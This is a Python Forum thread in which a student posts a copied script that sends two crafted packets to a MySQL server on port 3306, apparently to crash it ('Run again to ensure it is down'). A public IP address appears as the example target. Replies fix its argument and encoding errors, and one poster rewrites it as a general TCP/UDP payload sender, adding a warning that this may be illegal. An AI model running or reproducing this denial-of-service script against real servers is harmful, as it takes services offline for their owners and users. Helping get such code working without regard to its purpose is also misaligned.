socket.gaierror: [Errno -2] Name or service not known - Printable Version +- Python Forum (https://python-forum.io) +-- Forum: Python Coding (https://python-forum.io/forum-7.html) +--- Forum: Networking (https://python-forum.io/forum-12.html) +--- Thread: socket.gaierror: [Errno -2] Name or service not known (/thread-18602.html) |
socket.gaierror: [Errno -2] Name or service not known - seokangwoo99 - May-23-2019 Hello, I am new to this forum. I'm a cybersec Student and i found some code from the internet i try to modify it and try to execute it but it end up giving "socket.gaierror: [Errno -2] Name or service not known" Here is the CODE : import socket, sys buf=("&\x00\x00\x01\x85\xa2\x03\x00\x00\x00\x00@\x93\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00root\x00\x00") buf2=("\x11\x00\x00\x00\x03set autocommit30") def usage():print("usage : ./mysql.py 45.64.169.25") print("example: ./mysql.py 192.168.1.22") def main(): if len(sys.argv) != 2: usage() sys.exit() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) HOST = sys.argv[0] PORT = int(3306) s.connect((HOST,PORT)) print("[*] Connect") s.send(buf) print("[*] Payload 1 sent") s.send(buf2) print("[*] Payload 2 sent\n", "[*] Run again to ensure it is down..\n") s.close() if __name__ == "__main__":main()how can i fix the error and let the code execute and run normally?? i have spent hours sitting in front of my laptop to try to figure this out but end up nothing. RE: socket.gaierror: [Errno -2] Name or service not known - Larz60+ - May-24-2019 Quote:but it end up giving "socket.gaierror: [Errno -2] Name or service not known"There must be more to this error. Please post entire error traceback using error tags (highlight error text, then click icon with red X) RE: socket.gaierror: [Errno -2] Name or service not known - seokangwoo99 - May-24-2019 (May-24-2019, 12:52 AM)Larz60+ Wrote:Quote:but it end up giving "socket.gaierror: [Errno -2] Name or service not known"There must be more to this error. Please post entire error traceback using error tags (highlight error text, then click icon with red X) Hello,Thank for your comment. here is the error traceback if this is what you want :) i can't see what is the problem with line 25
RE: socket.gaierror: [Errno -2] Name or service not known - Larz60+ - May-24-2019 Since host comes from the command line as an argument, are you supplying one? python progname.py xxxx where xxxx = host RE: socket.gaierror: [Errno -2] Name or service not known - seokangwoo99 - May-25-2019 (May-24-2019, 06:58 PM)Larz60+ Wrote: Since host comes from the command line as an argument, are you supplying one? I solved the problem! As you mentioned I'm missing the "host"argument. Also after attached the argument another error popout and i have solved it,i need to change code from s.send(buf) to s.sendall(buf.encode('utf-8')) as well as s.send(buf2) too. Thank you for the help given I appreciated it! RE: socket.gaierror: [Errno -2] Name or service not known - DeaD_EyE - May-25-2019 Before you send, text must be converted to bytes or you have already raw-bytes. If you have a text, it could be ASCII, utf8, latin1 or other encodings. Python uses as standard utf8 as encoding for source code and all other stuff. ASCII is a subset of Unicode, so no worry about that. By the way, copying scripts leads into poor code quality. A little bit improved, using the modern features of Python 3.6. No external dependencies. Hint: If you want to make good command line applications, use click. #!/usr/bin/env python3 """ This program connects to a ip and port via udp or tcp and sends the datafiles to the destination. """ import socket import sys from pathlib import Path class ArgumentError(Exception): pass def usage(): exe = Path(sys.executable).name prg = sys.argv[0] descr = __doc__ cmd_usage = f'Usage: {exe} {prg} <ip> <port> <udp|tcp> <datafile> <...>' print(descr) print() print(cmd_usage) def get_payloads(datafiles): return [Path(file).read_bytes() for file in datafiles] def get_arguments(): if len(sys.argv) < 5: usage() raise ArgumentError('Wrong number of arguments') ip, port, proto, *datafiles = sys.argv[1:] if proto == 'udp': sock_args = (socket.AF_INET, socket.SOCK_DGRAM) elif proto == 'tcp': sock_args = (socket.AF_INET, socket.SOCK_STREAM) else: usage() raise ArgumentError(f'Wrong protocol: {proto}') try: addr = (ip, int(port)) except ValueError: usage() raise ArgumentError('Port must be a valid number') return addr, proto, sock_args, datafiles def send_payloads_udp(connection, dest, payloads): for n, payload in enumerate(payloads, start=1): connection.sendto(payload, dest) print(f'[*] Payload {n} sent') def send_payloads_tcp(connection, payloads): for n, payload in enumerate(payloads, start=1): connection.sendall(payload) print(f'[*] Payload {n} sent') def main(): try: addr, proto, sock_args, datafiles = get_arguments() except ArgumentError as e: print('Error:', e) return 1 try: payloads = get_payloads(datafiles) except Exception as e: print('Error:', e) return 10 with socket.socket(*sock_args) as sock: if proto == 'tcp': try: sock.connect(addr) except Exception as e: print('Error:', e) return 2 print("[*] Connected") try: send_payloads_tcp(sock, payloads) except Exception as e: print('Error:', e) return 20 elif proto == 'udp': try: send_payloads_udp(sock, addr, payloads) except Exception as e: print('Error:', e) return 10 if __name__ == '__main__': retval = main() sys.exit(retval) * The command python points on my machine to a local Python 3.7.3 installation.
Now you can send much garbage to public services, which is also in some countries prohibited by laws.I you live in Germany, don't do this. If you want to be a nice internet user, don't send garbage to public services. But the same task can be done also with netcat .More interesting is to build own IP Headers, TCP Headers + Payload. What the code totally misses, is receiving data. So you don't see the servers reply to messages. |